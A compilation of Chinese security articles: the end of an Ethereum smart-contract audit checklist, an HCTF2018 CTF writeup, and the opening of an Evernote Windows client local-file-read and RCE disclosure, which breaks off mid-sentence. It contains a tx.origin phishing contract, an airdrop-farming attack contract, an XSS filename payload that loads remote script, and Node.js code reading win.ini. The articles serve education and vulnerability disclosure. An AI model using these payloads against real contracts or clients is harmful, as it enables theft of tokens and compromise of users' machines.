或者transfer
函数时,只有2300gas 用于失败后fallback函数执行,2300 gas只允许执行一组字节码指令,需要谨慎编写,以免gas不够用。部分样例:
123function() payable { LogDepositReceived(msg.sender); }function() public payable{ revert();};(8) Owner权限问题
避免owner权限过大
部分合约owner权限过大,owner可以随意操作合约内各种数据,包括修改规则,任意转账,任意铸币烧币,一旦发生安全问题,可能会导致严重的结果。
关于owner权限问题,应该遵循几个要求: 1、合约创造后,任何人不能改变合约规则,包括规则参数大小等 2、只允许owner从合约中提取余额
(9) 用户鉴权问题
合约中不要使用tx.origin做鉴权
tx.origin代表最初始的地址,如果用户a通过合约b调用了合约c,对于合约c来说,tx.origin就是用户a,而msg.sender才是合约b,对于鉴权来说,这是十分危险的,这代表着可能导致的钓鱼攻击。
下面是一个范例:
123456789101112131415pragma solidity >0.4.24;// THIS CONTRACT CONTAINS A BUG - DO NOT USEcontract TxUserWallet {address owner;constructor() public {owner = msg.sender;}function transferTo(address dest, uint amount) public {require(tx.origin == owner);dest.transfer(amount);}}我们可以构造攻击合约
1234567891011121314151617<span class="nx">pragma</span> <span class="nx">solidity</span> <span class="o">></span><span class="mf">0.4</span><span class="p">.</span><span class="mi">24</span><span class="p">;</span><span class="kr">interface</span> <span class="nx">TxUserWallet</span> <span class="p">{</span><span class="kd">function</span> <span class="nx">transferTo</span><span class="p">(</span><span class="nx">address</span> <span class="nx">dest</span><span class="p">,</span> <span class="nx">uint</span> <span class="nx">amount</span><span class="p">)</span> <span class="nx">external</span><span class="p">;</span><span class="p">}</span><span class="nx">contract</span> <span class="nx">TxAttackWallet</span> <span class="p">{</span><span class="nx">address</span> <span class="nx">owner</span><span class="p">;</span><span class="kr">constructor</span><span class="p">()</span> <span class="kr">public</span> <span class="p">{</span><span class="nx">owner</span> <span class="o">=</span> <span class="nx">msg</span><span class="p">.</span><span class="nx">sender</span><span class="p">;</span><span class="p">}</span><span class="kd">function</span><span class="p">()</span> <span class="nx">external</span> <span class="p">{</span><span class="nx">TxUserWallet</span><span class="p">(</span><span class="nx">msg</span><span class="p">.</span><span class="nx">sender</span><span class="p">).</span><span class="nx">transferTo</span><span class="p">(</span><span class="nx">owner</span><span class="p">,</span> <span class="nx">msg</span><span class="p">.</span><span class="nx">sender</span><span class="p">.</span><span class="nx">balance</span><span class="p">);</span><span class="p">}</span><span class="p">}</span>当用户被欺骗调用攻击合约,则会直接绕过鉴权而转账成功,这里应使用msg.sender来做权限判断。
https://solidity.readthedocs.io/en/develop/security-considerations.html#tx-origin
(10) 条件竞争问题
合约中尽量避免对交易顺序的依赖
在智能合约中,经常容易出现对交易顺序的依赖,如占山为王规则、或最后一个赢家规则。都是对交易顺序有比较强的依赖的设计规则,但以太坊本身的底层规则是基于矿工利益最大法则,在一定程度的极限情况下,只要攻击者付出足够的代价,他就可以一定程度控制交易的顺序。开发者应避免这个问题。
真实世界事件
Fomo3d事件
(11) 未初始化的储存指针
避免在函数中初始化struct变量
在solidity中允许一个特殊的数据结构为struct结构体,而函数内的局部变量默认使用storage或memory储存。
而存在storage(存储器)和memory(内存)是两个不同的概念,solidity允许指针指向一个未初始化的引用,而未初始化的局部stroage会导致变量指向其他储存变量,导致变量覆盖,甚至其他更严重的后果。
1234567891011121314151617181920212223pragma solidity ^0.4.0;contract Test {address public owner;address public a;struct Seed {address x;uint256 y;}function Test() {owner = msg.sender;a = 0x1111111111111111111111111111111111111111;}function fake_foo(uint256 n) public {Seed s;s.x = msg.sender;s.y = n;}}上面代码编译后,s.x和s.y会错误的指向ownner和a。
攻击者在执行
fake_foo
之后,会将owner修改为自己。上述问题在最新版的0.4.25版本被修复。
以太坊合约审计checkList审计系列报告
- 《以太坊合约审计 CheckList 之“以太坊智能合约编码隐患”影响分析报告》
- 《以太坊合约审计 CheckList 之“以太坊智能合约规范问题”影响分析报告》
- 《以太坊合约审计 CheckList 之“以太坊智能合约设计缺陷问题”影响分析报告》
- 《以太坊合约审计 CheckList 之“以太坊智能合约编码安全问题”影响分析报告》
- 《以太坊合约审计 CheckList 之“以太坊智能合约编码设计问题”影响分析报告》
REF
- https://github.com/ConsenSys/smart-contract-best-practices/blob/master/README-zh.md
- https://dasp.co
- https://etherscan.io/solcbuginfo
- https://www.kingoftheether.com/contract-safety-checklist.html
- https://mp.weixin.qq.com/s/UXK8-ZN7mSUI3mPq2SC6Og
- https://mp.weixin.qq.com/s/kEGbx-I17kzm7bTgu-Nh2g
- https://media.defcon.org/DEF%20CON%2026/DEF%20CON%2026%20presentations/Bai%20Zheng%20and%20Chai%20Wang/DEFCON-26-Bai-Zheng-Chai-Wang-You-May-Have-Paid-more-than-You-Imagine.pdf
- https://mp.weixin.qq.com/s/SfKh7_xh7OwV9b31T4t-PQ
- http://rickgray.me/2018/05/17/ethereum-smart-contracts-vulnerabilites-review/
- http://rickgray.me/2018/05/26/ethereum-smart-contracts-vulnerabilities-review-part2/
本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/741/
没有评论 -
HCTF2018 智能合约两则 Writeup
作者:LoRexxar'@知道创宇404区块链安全研究团队
时间:2018年11月12日这次比赛为了顺应潮流,HCTF出了3道智能合约的题目,其中1道是逆向,2道是智能合约的代码审计题目。
ez2win是一份标准的合约代币,在一次审计的过程中我发现,如果某些私有函数没有加上private,可以导致任意转账,是个蛮有意思的问题,但也由于太简单,所以想给大家opcode,大家自己去逆,由于源码及其简单,逆向难度不会太大,但可惜没有一个人做出来,被迫放源码,再加上这题本来就简单,重放流量可以抄作业,有点儿可惜。
bet2loss是我在审计dice2win类源码的时候发现的问题,但出题的时候犯傻了,在出题的时候想到如果有人想用薅羊毛的方式去拿flag也挺有意思的,所以故意留了transfer接口给大家,为了能让这个地方合理,我就把发奖也改用了transfer,结果把我预期的重放漏洞给修了...
bet2loss这题在服务端用web3.py,客户端用metamask+web3.js完成,在开发过程中,还经历了metamask的一次大更新,写好的代码忽然就跑不了了,换了新的api接口...简直历经磨难。
这次比赛出题效果不理想,没想到现在的智能合约大环境有这么差,在之前wctf大师赛的时候,duca出的一道智能合约题目超复杂,上百行的合约都被从opcode逆了出来,可这次没想到没人做得到,有点儿可惜。不管智能合约以后会不会成为热点,但就目前而言,合约的安全层面还处于比较浅显的级别,对于安全从业者来说,不断走在开发前面不是一件好事吗?
下面的所有题目都布在ropsten上,其实是为了参赛者体验好一点儿,毕竟要涉及到看events和源码。有兴趣还可以去看。
ez2win
12345678910110x71feca5f0ff0123a60ef2871ba6a6e5d289942ef for ropstenD2GBToken is onsale. we will airdrop each person 10 D2GBTOKEN. You can transcat with others as you like.only winner can get more than 10000000, but no one can do it.function PayForFlag(string b64email) public payable returns (bool success){require (_balances[msg.sender] > 10000000);emit GetFlag(b64email, "Get flag!");}hint1:you should recover eht source code first. and break all eht concepts you've already holdhint2: now open source for you, and its really ez12sloved:15score:527.78ez2win,除了漏洞点以外是一份超级标准的代币合约,加上一个单词,你也可以用这份合约去发行一份属于自己的合约代币。
让我们来看看代码
123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248pragma solidity ^0.4.24;/*** @title ERC20 interface* @dev see https://github.com/ethereum/EIPs/issues/20*/interface IERC20 {function totalSupply() external view returns (uint256);function balanceOf(address who) external view returns (uint256);function allowance(address owner, address spender)external view returns (uint256);function transfer(address to, uint256 value) external returns (bool);function approve(address spender, uint256 value)external returns (bool);function transferFrom(address from, address to, uint256 value)external returns (bool);event Transfer(address indexed from,address indexed to,uint256 value);event Approval(address indexed owner,address indexed spender,uint256 value);event GetFlag(string b64email,string back);}/*** @title SafeMath* @dev Math operations with safety checks that revert on error*/library SafeMath {/*** @dev Multiplies two numbers, reverts on overflow.*/function mul(uint256 a, uint256 b) internal pure returns (uint256) {// Gas optimization: this is cheaper than requiring 'a' not being zero, but the// benefit is lost if 'b' is also tested.// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522if (a == 0) {return 0;}uint256 c = a * b;require(c / a == b);return c;}/*** @dev Integer division of two numbers truncating the quotient, reverts on division by zero.*/function div(uint256 a, uint256 b) internal pure returns (uint256) {require(b > 0); // Solidity only automatically asserts when dividing by 0uint256 c = a / b;// assert(a == b * c + a % b); // There is no case in which this doesn't holdreturn c;}/*** @dev Subtracts two numbers, reverts on overflow (i.e. if subtrahend is greater than minuend).*/function sub(uint256 a, uint256 b) internal pure returns (uint256) {require(b <= a);uint256 c = a - b;return c;}/*** @dev Adds two numbers, reverts on overflow.*/function add(uint256 a, uint256 b) internal pure returns (uint256) {uint256 c = a + b;require(c >= a);return c;}}/*** @title Standard ERC20 token** @dev Implementation of the basic standard token.* https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md* Originally based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol*/contract ERC20 is IERC20 {using SafeMath for uint256;mapping (address => uint256) public _balances;mapping (address => mapping (address => uint256)) public _allowed;mapping(address => bool) initialized;uint256 public _totalSupply;uint256 public constant _airdropAmount = 10;/*** @dev Total number of tokens in existence*/function totalSupply() public view returns (uint256) {return _totalSupply;}/*** @dev Gets the balance of the specified address.* @param owner The address to query the balance of.* @return An uint256 representing the amount owned by the passed address.*/function balanceOf(address owner) public view returns (uint256) {return _balances[owner];}// airdropfunction AirdropCheck() internal returns (bool success){if (!initialized[msg.sender]) {initialized[msg.sender] = true;_balances[msg.sender] = _airdropAmount;_totalSupply += _airdropAmount;}return true;}/*** @dev Function to check the amount of tokens that an owner allowed to a spender.* @param owner address The address which owns the funds.* @param spender address The address which will spend the funds.* @return A uint256 specifying the amount of tokens still available for the spender.*/function allowance(address owner,address spender)publicviewreturns (uint256){return _allowed[owner][spender];}/*** @dev Transfer token for a specified address* @param to The address to transfer to.* @param value The amount to be transferred.*/function transfer(address to, uint256 value) public returns (bool) {AirdropCheck();_transfer(msg.sender, to, value);return true;}/*** @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.* Beware that changing an allowance with this method brings the risk that someone may use both the old* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729* @param spender The address which will spend the funds.* @param value The amount of tokens to be spent.*/function approve(address spender, uint256 value) public returns (bool) {require(spender != address(0));AirdropCheck();_allowed[msg.sender][spender] = value;return true;}/*** @dev Transfer tokens from one address to another* @param from address The address which you want to send tokens from* @param to address The address which you want to transfer to* @param value uint256 the amount of tokens to be transferred*/function transferFrom(address from,address to,uint256 value)publicreturns (bool){require(value <= _allowed[from][msg.sender]);AirdropCheck();_allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value);_transfer(from, to, value);return true;}/*** @dev Transfer token for a specified addresses* @param from The address to transfer from.* @param to The address to transfer to.* @param value The amount to be transferred.*/function _transfer(address from, address to, uint256 value) {require(value <= _balances[from]);require(to != address(0));_balances[from] = _balances[from].sub(value);_balances[to] = _balances[to].add(value);}}contract D2GBToken is ERC20 {string public constant name = "D2GBToken";string public constant symbol = "D2GBToken";uint8 public constant decimals = 18;uint256 public constant INITIAL_SUPPLY = 20000000000 * (10 ** uint256(decimals));/*** @dev Constructor that gives msg.sender all of existing tokens.*/constructor() public {_totalSupply = INITIAL_SUPPLY;_balances[msg.sender] = INITIAL_SUPPLY;emit Transfer(address(0), msg.sender, INITIAL_SUPPLY);}//flagfunction PayForFlag(string b64email) public payable returns (bool success){require (_balances[msg.sender] > 10000000);emit GetFlag(b64email, "Get flag!");}}每个用户都会空投10 D2GBToken作为初始资金,合约里基本都是涉及到转账的函数,常用的转账函数是
1234567891011121314function transfer(address to, uint256 value) public returns (bool) {AirdropCheck();_transfer(msg.sender, to, value);return true;}function transferFrom(address from, address to, uint256 value) public returns (bool) {require(value <= _allowed[from][msg.sender]);AirdropCheck();_allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value);_transfer(from, to, value);return true;}可见,transfer默认指定了msg.sender作为发信方,无法绕过。
transferFrom触发转账首先需要用approvel授权,这是一个授权函数,只能转账授权额度,也不存在问题。
唯一的问题就是
1234567function _transfer(address from, address to, uint256 value) {require(value <= _balances[from]);require(to != address(0));_balances[from] = _balances[from].sub(value);_balances[to] = _balances[to].add(value);}在solidity中,未定义函数权限的,会被部署为public,那么这个原本的私有函数就可以被任意调用,直接调用_transfer从owner那里转账过来即可。
bet2loss
bet2loss是我在审计dice2win类源码的时候发现的问题,可惜出题失误了,这里主要讨论非预期解吧。
12345Description0x006b9bc418e43e92cf8d380c56b8d4be41fda319 for ropsten and open sourceD2GBToken is onsale. Now New game is coming.We’ll give everyone 1000 D2GBTOKEN for playing. only God of Gamblers can get flag.12solved: 5score: 735.09我们来看看代码,这次附上带有注释版本的
123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308309310311312313314315316317318319320321322323324325326327328329330331332333334335336337338339340341342343344345346347348349350351352353354355356357358359360361362363364365366367368369370371372373374375376377378pragma solidity ^0.4.24;/*** @title SafeMath* @dev Math operations with safety checks that revert on error*/library SafeMath {/*** @dev Multiplies two numbers, reverts on overflow.*/function mul(uint256 a, uint256 b) internal pure returns (uint256) {// Gas optimization: this is cheaper than requiring 'a' not being zero, but the// benefit is lost if 'b' is also tested.// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522if (a == 0) {return 0;}uint256 c = a * b;require(c / a == b);return c;}/*** @dev Integer division of two numbers truncating the quotient, reverts on division by zero.*/function div(uint256 a, uint256 b) internal pure returns (uint256) {require(b > 0); // Solidity only automatically asserts when dividing by 0uint256 c = a / b;// assert(a == b * c + a % b); // There is no case in which this doesn't holdreturn c;}/*** @dev Subtracts two numbers, reverts on overflow (i.e. if subtrahend is greater than minuend).*/function sub(uint256 a, uint256 b) internal pure returns (uint256) {require(b <= a);uint256 c = a - b;return c;}/*** @dev Adds two numbers, reverts on overflow.*/function add(uint256 a, uint256 b) internal pure returns (uint256) {uint256 c = a + b;require(c >= a);return c;}}/*** @title Standard ERC20 token** @dev Implementation of the basic standard token.* https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md* Originally based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol*/contract ERC20{using SafeMath for uint256;mapping (address => uint256) public balances;uint256 public _totalSupply;/*** @dev Total number of tokens in existence*/function totalSupply() public view returns (uint256) {return _totalSupply;}/*** @dev Gets the balance of the specified address.* @param owner The address to query the balance of.* @return An uint256 representing the amount owned by the passed address.*/function balanceOf(address owner) public view returns (uint256) {return balances[owner];}function transfer(address _to, uint _value) public returns (bool success){balances[msg.sender] = balances[msg.sender].sub(_value);balances[_to] = balances[_to].add(_value);return true;}}contract B2GBToken is ERC20 {string public constant name = "test";string public constant symbol = "test";uint8 public constant decimals = 18;uint256 public constant _airdropAmount = 1000;uint256 public constant INITIAL_SUPPLY = 20000000000 * (10 ** uint256(decimals));mapping(address => bool) initialized;/*** @dev Constructor that gives msg.sender all of existing tokens.*/constructor() public {initialized[msg.sender] = true;_totalSupply = INITIAL_SUPPLY;balances[msg.sender] = INITIAL_SUPPLY;}// airdropfunction AirdropCheck() internal returns (bool success){if (!initialized[msg.sender]) {initialized[msg.sender] = true;balances[msg.sender] = _airdropAmount;_totalSupply += _airdropAmount;}return true;}}// 主要代码contract Bet2Loss is B2GBToken{/// *** Constants section// Bets lower than this amount do not participate in jackpot rolls (and are// not deducted JACKPOT_FEE).uint constant MIN_JACKPOT_BET = 0.1 ether;// There is minimum and maximum bets.uint constant MIN_BET = 1;uint constant MAX_BET = 100000;// Modulo is a number of equiprobable outcomes in a game:// - 2 for coin flip// - 6 for dice// - 6*6 = 36 for double dice// - 100 for etheroll// - 37 for roulette// etc.// It's called so because 256-bit entropy is treated like a huge integer and// the remainder of its division by modulo is considered bet outcome.uint constant MAX_MODULO = 100;// EVM BLOCKHASH opcode can query no further than 256 blocks into the// past. Given that settleBet uses block hash of placeBet as one of// complementary entropy sources, we cannot process bets older than this// threshold. On rare occasions dice2.win croupier may fail to invoke// settleBet in this timespan due to technical issues or extreme Ethereum// congestion; such bets can be refunded via invoking refundBet.uint constant BET_EXPIRATION_BLOCKS = 250;// Some deliberately invalid address to initialize the secret signer with.// Forces maintainers to invoke setSecretSigner before processing any bets.address constant DUMMY_ADDRESS = 0xACB7a6Dc0215cFE38e7e22e3F06121D2a1C42f6C;// Standard contract ownership transfer.address public owner;address private nextOwner;// Adjustable max bet profit. Used to cap bets against dynamic odds.uint public maxProfit;// The address corresponding to a private key used to sign placeBet commits.address public secretSigner;// Accumulated jackpot fund.uint128 public jackpotSize;// Funds that are locked in potentially winning bets. Prevents contract from// committing to bets it cannot pay out.uint128 public lockedInBets;// A structure representing a single bet.struct Bet {// Wager amount in wei.uint betnumber;// Modulo of a game.uint8 modulo;// Block number of placeBet tx.uint40 placeBlockNumber;// Bit mask representing winning bet outcomes (see MAX_MASK_MODULO comment).uint40 mask;// Address of a gambler, used to pay out winning bets.address gambler;}// Mapping from commits to all currently active & processed bets.mapping (uint => Bet) bets;// Events that are issued to make statistic recovery easier.event FailedPayment(address indexed beneficiary, uint amount);event Payment(address indexed beneficiary, uint amount);// This event is emitted in placeBet to record commit in the logs.event Commit(uint commit);event GetFlag(string b64email,string back);// Constructor. Deliberately does not take any parameters.constructor () public {owner = msg.sender;secretSigner = DUMMY_ADDRESS;}// Standard modifier on methods invokable only by contract owner.modifier onlyOwner {require (msg.sender == owner, "OnlyOwner methods called by non-owner.");_;}// See comment for "secretSigner" variable.function setSecretSigner(address newSecretSigner) external onlyOwner {secretSigner = newSecretSigner;}/// *** Betting logic// Bet states:// amount == 0 && gambler == 0 - 'clean' (can place a bet)// amount != 0 && gambler != 0 - 'active' (can be settled or refunded)// amount == 0 && gambler != 0 - 'processed' (can clean storage)//// NOTE: Storage cleaning is not implemented in this contract version; it will be added// with the next upgrade to prevent polluting Ethereum state with expired bets.// Bet placing transaction - issued by the player.// betMask - bet outcomes bit mask for modulo <= MAX_MASK_MODULO,// [0, betMask) for larger modulos.// modulo - game modulo.// commitLastBlock - number of the maximum block where "commit" is still considered valid.// commit - Keccak256 hash of some secret "reveal" random number, to be supplied// by the dice2.win croupier bot in the settleBet transaction. Supplying// "commit" ensures that "reveal" cannot be changed behind the scenes// after placeBet have been mined.// r, s - components of ECDSA signature of (commitLastBlock, commit). v is// guaranteed to always equal 27.//// Commit, being essentially random 256-bit number, is used as a unique bet identifier in// the 'bets' mapping.//// Commits are signed with a block limit to ensure that they are used at most once - otherwise// it would be possible for a miner to place a bet with a known commit/reveal pair and tamper// with the blockhash. Croupier guarantees that commitLastBlock will always be not greater than// placeBet block number plus BET_EXPIRATION_BLOCKS. See whitepaper for details.function placeBet(uint betMask, uint modulo, uint betnumber, uint commitLastBlock, uint commit, bytes32 r, bytes32 s, uint8 v) external payable {// betmask是赌的数// modulo是总数/倍数// commitlastblock 最后一个能生效的blocknumber// 随机数签名hash, r, s// airdropAirdropCheck();// Check that the bet is in 'clean' state.Bet storage bet = bets[commit];require (bet.gambler == address(0), "Bet should be in a 'clean' state.");// check balances > betmaskrequire (balances[msg.sender] >= betnumber, "no more balances");// Validate input data ranges.require (modulo > 1 && modulo <= MAX_MODULO, "Modulo should be within range.");require (betMask >= 0 && betMask < modulo, "Mask should be within range.");require (betnumber > 0 && betnumber < 1000, "BetNumber should be within range.");// Check that commit is valid - it has not expired and its signature is valid.require (block.number <= commitLastBlock, "Commit has expired.");bytes32 signatureHash = keccak256(abi.encodePacked(commitLastBlock, commit));require (secretSigner == ecrecover(signatureHash, v, r, s), "ECDSA signature is not valid.");// Winning amount and jackpot increase.uint possibleWinAmount;possibleWinAmount = getDiceWinAmount(betnumber, modulo);// Lock funds.lockedInBets += uint128(possibleWinAmount);// Check whether contract has enough funds to process this bet.require (lockedInBets <= balances[owner], "Cannot afford to lose this bet.");balances[msg.sender] = balances[msg.sender].sub(betnumber);// Record commit in logs.emit Commit(commit);// Store bet parameters on blockchain.bet.betnumber = betnumber;bet.modulo = uint8(modulo);bet.placeBlockNumber = uint40(block.number);bet.mask = uint40(betMask);bet.gambler = msg.sender;}// This is the method used to settle 99% of bets. To process a bet with a specific// "commit", settleBet should supply a "reveal" number that would Keccak256-hash to// "commit". it// is additionally asserted to prevent changing the bet outcomes on Ethereum reorgs.function settleBet(uint reveal) external {AirdropCheck();uint commit = uint(keccak256(abi.encodePacked(reveal)));Bet storage bet = bets[commit];uint placeBlockNumber = bet.placeBlockNumber;// Check that bet has not expired yet (see comment to BET_EXPIRATION_BLOCKS).require (block.number > placeBlockNumber, "settleBet in the same block as placeBet, or before.");require (block.number <= placeBlockNumber + BET_EXPIRATION_BLOCKS, "Blockhash can't be queried by EVM.");// Settle bet using reveal as entropy sources.settleBetCommon(bet, reveal);}// Common settlement code for settleBet & settleBetUncleMerkleProof.function settleBetCommon(Bet storage bet, uint reveal) private {// Fetch bet parameters into local variables (to save gas).uint betnumber = bet.betnumber;uint mask = bet.mask;uint modulo = bet.modulo;uint placeBlockNumber = bet.placeBlockNumber;address gambler = bet.gambler;// Check that bet is in 'active' state.require (betnumber != 0, "Bet should be in an 'active' state");// The RNG - combine "reveal" and blockhash of placeBet using Keccak256. Miners// are not aware of "reveal" and cannot deduce it from "commit" (as Keccak256// preimage is intractable), and house is unable to alter the "reveal" after// placeBet have been mined (as Keccak256 collision finding is also intractable).bytes32 entropy = keccak256(abi.encodePacked(reveal, placeBlockNumber));// Do a roll by taking a modulo of entropy. Compute winning amount.uint dice = uint(entropy) % modulo;uint diceWinAmount;diceWinAmount = getDiceWinAmount(betnumber, modulo);uint diceWin = 0;if (dice == mask){diceWin = diceWinAmount;}// Unlock the bet amount, regardless of the outcome.lockedInBets -= uint128(diceWinAmount);// Send the funds to gambler.sendFunds(gambler, diceWin == 0 ? 1 wei : diceWin , diceWin);}// Get the expected win amount after house edge is subtracted.function getDiceWinAmount(uint amount, uint modulo) private pure returns (uint winAmount) {winAmount = amount * modulo;}// 付奖金function sendFunds(address beneficiary, uint amount, uint successLogAmount) private {transfer(beneficiary, amount);emit Payment(beneficiary, successLogAmount);}//flagfunction PayForFlag(string b64email) public payable returns (bool success){require (balances[msg.sender] > 10000000);emit GetFlag(b64email, "Get flag!");}}这是一个比较经典的赌博合约,用的是市面上比较受认可的hash-reveal-commit模式来验证随机数。在之前的dice2win分析中,我讨论过这个制度的合理性,除非选择终止,否则可以保证一定程度的公平。
https://lorexxar.cn/2018/10/18/dice2win-safe/
代码比较长,我在修改dice2win的时候还留了很多无用代码,可以不用太纠结。流程大致如下:
1、在页面中点击下注
2、后端生成随机数,然后签名,饭后commit, r, s, v
1234567891011121314151617# 随机数reveal = random_num()result['commit'] = "0x"+sha3.keccak_256(bytes.fromhex(binascii.hexlify(reveal.to_bytes(32, 'big')).decode('utf-8'))).hexdigest()# web3获取当前blocknumberresult['commitLastBlock'] = w3.eth.blockNumber + 250message = binascii.hexlify(result['commitLastBlock'].to_bytes(32,'big')).decode('utf-8')+result['commit'][2:]message_hash = '0x'+sha3.keccak_256(bytes.fromhex(message)).hexdigest()signhash = w3.eth.account.signHash(message_hash, private_key=private_key)result['signature'] = {}result['signature']['r'] = '0x' + binascii.hexlify((signhash['r']).to_bytes(32,'big')).decode('utf-8')result['signature']['s'] = '0x' + binascii.hexlify((signhash['s']).to_bytes(32,'big')).decode('utf-8')result['signature']['v'] = signhash['v']3、回到前端,web3.js配合返回的数据,想meta发起交易,交易成功被打包之后向后台发送请求settlebet。
4、后端收到请求之后对该commit做开奖
123456transaction = bet2loss.functions.settleBet(int(reveal)).buildTransaction({'chainId': 3, 'gas': 70000, 'nonce': nonce, 'gasPrice': w3.toWei('1', 'gwei')})signed = w3.eth.account.signTransaction(transaction, private_key)result = w3.eth.sendRawTransaction(signed.rawTransaction)5、开奖成功
在这个过程中,用户得不到随机数,服务端也不能对随机数做修改,这就是现在比较常用的hash-reveal-commit随机数生成方案。
整个流程逻辑比较严谨。但有一个我预留的问题,空投。
在游戏中,我设定了每位参赛玩家都会空投1000个D2GB,而且没有设置上限,如果注册10000个账号,然后转账给一个人,那么你就能获得相应的token,这个操作叫薅羊毛,曾经出过不少这样的事情。
这其中有些很有趣的操作,首先,如果你一次交易一次交易去跑,加上打包的时间,10000次基本上不可能。
所以新建一个合约,然后通过合约来新建合约转账才有可能实现。
这其中还有一个很有趣的问题,循环新建合约,在智能合约中是一个消耗gas很大的操作。如果一次交易耗费的gas过大,那么交易就会失败,它就不会被打包。
简单的测试可以发现,大约50次循环左右gas刚好够用。攻击代码借用了@sissel的
1234567891011121314151617181920212223242526pragma solidity ^0.4.20;contract Attack_7878678 {// address[] private son_list;function Attack_7878678() payable {}function attack_starta(uint256 reveal_num) public {for(int i=0;i<=50;i++){son = new Son(reveal_num);}}function () payable {}}contract Son_7878678 {function Son_7878678(uint256 reveal_num) payable {address game = 0x006b9bc418e43e92cf8d380c56b8d4be41fda319;game.call(bytes4(keccak256("settleBet(uint256)")),reveal_num);game.call(bytes4(keccak256("transfer(address,uint256)")),0x5FA2c80DB001f970cFDd388143b887091Bf85e77,950);}function () payable{}}跑个200次就ok了
本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/740/
-
印象笔记 Windows 客户端 6.15 本地文件读取和远程命令执行漏洞(CVE-2018-18524)
作者: dawu@知道创宇404实验室
时间: 2018/10/24
English Version0x00 漏洞简介
- 印象笔记 Windows 客户端 6.14 版本修复了一个储存型 XSS。
- 由于只修复了 XSS 的入口点而没有在出口处添加过滤,导致攻击者可以在 6.14 版本的客户端中生成储存型 XSS并在 6.15 版本中触发。
- 印象笔记的展示模式是使用 NodeWebKit 实现的,通过储存型 XSS 可以在展示模式下注入 Nodejs 代码。
- 经过各种尝试,最终通过注入的 Nodejs 代码实现了本地文件读取和远程命令执行。
0x01 前言
2018/09/20,我当时的同事@sebao告诉我印象笔记修复了他的
XSS
漏洞并登上了名人堂,碰巧国庆的时候考古过几个客户端 XSS 导致命令执行的案例,就想在印象笔记客户端也寻找一下类似的问题。在之后的测试过程中,我不仅发现原本的XSS
修复方案存在漏洞、利用这个XSS
漏洞实现了本地文件读取和远程命令执行,还通过分享笔记的功能实现了远程攻击。0x02 印象笔记 Windows 客户端 6.14 储存型 XSS 漏洞
@sebao
发现的储存型 XSS 漏洞的触发方式如下: 1. 在笔记中添加一张图片 2. 右键并将该图片更名为" onclick="alert(1)">.jpg"
3. 双击打开该笔记并点击图片,成功弹框。经过测试,印象笔记官方修复该 XSS 的方式为:在更名处过滤了
>
、<
、"
等特殊字符,但有意思的是我在 6.14 版本下测试的 XSS 在 6.15 版本中依旧可以弹框,这也就意味着:官方只修了 XSS 的入口,在 XSS 的输出位置,依旧是没有任何过滤的。0x03 演示模式下的 Nodejs 代码注入
XSS 修复方案存在漏洞并不能算是一个很严重的安全问题,所以我决定深入挖掘一下其他的漏洞,比如本地文件读取或者远程命令执行。为了方便测试,我在 6.14 版本的客户端中将一张图片更名为
" onclick="alert(1)"><script src="http://172.16.4.1:8000/1.js">.jpg
后,将客户端升级为最新版 6.15。我测试了一些特殊的 API,例如
evernote.openAttachment
、goog.loadModuleFromUrl
,但是没有显著的收获。所以我转换了思路,遍历C:\\Program Files(x86)\Evernote\Evernote\
目录下的所有文件。我发现印象笔记在C:\\Program Files(x86)\Evernote\Evernote\NodeWebKit
目录下存在NodeWebKit
,在演示的时候,印象笔记会调用这个NodeWebKit
。一个更好的消息是我可以通过之前发现的储存型 XSS 在
NodeWebKit
中执行Nodejs
代码。0x04 本地文件读取 和 远程命令执行的实现
既然可以注入
Nodejs
代码,那就意味着我可以尝试使用child_process
来执行任意命令。我尝试使用
require('child_process').exec
,但是却报错了:Module name "child_process" has not been loaded yet for context
。这个错误并没有浇灭我刚发现
Nodejs
代码注入的激情,我在查阅各种资料尝试 解决/绕过 这个问题。最终,我发现了前人的足迹:How we exploited a remote code execution vulnerability in math.js根据文中的内容,简单的修改读取本地文件的 payload 很快就实现了相应的功能:
123456789alert("Try to read C:\\\\Windows\\win.ini");try{var buffer = new Buffer(8192);process.binding('fs').read(process.binding('fs').open('..\\..\\..\\..\\..\\..\\..\\Windows\\win.ini', 0, 0600), buffer, 0, 4096);alert(buffer);}catch(err){alert(err);}但是在尝试远程命令执行的时候,我遇到了一些问题。由于并不了解
Nodejs
,所以我不知道为什么NodeWebkit
中没有Object
和Array
,也不知道如何解决这个问题。我听取了文中的建议,尝试去理解 child_process的源码,并且查找spawn_sync
相关的用法。最终,我从
window.process.env
中获取到env
的内容,并使用spawn_sync
